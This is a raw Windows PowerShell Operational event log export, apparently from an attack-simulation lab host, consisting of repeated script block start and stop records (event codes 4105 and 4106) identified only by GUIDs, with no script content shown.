Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037781
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037780
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037779
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037778
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037762
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037761
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037756
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037755
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
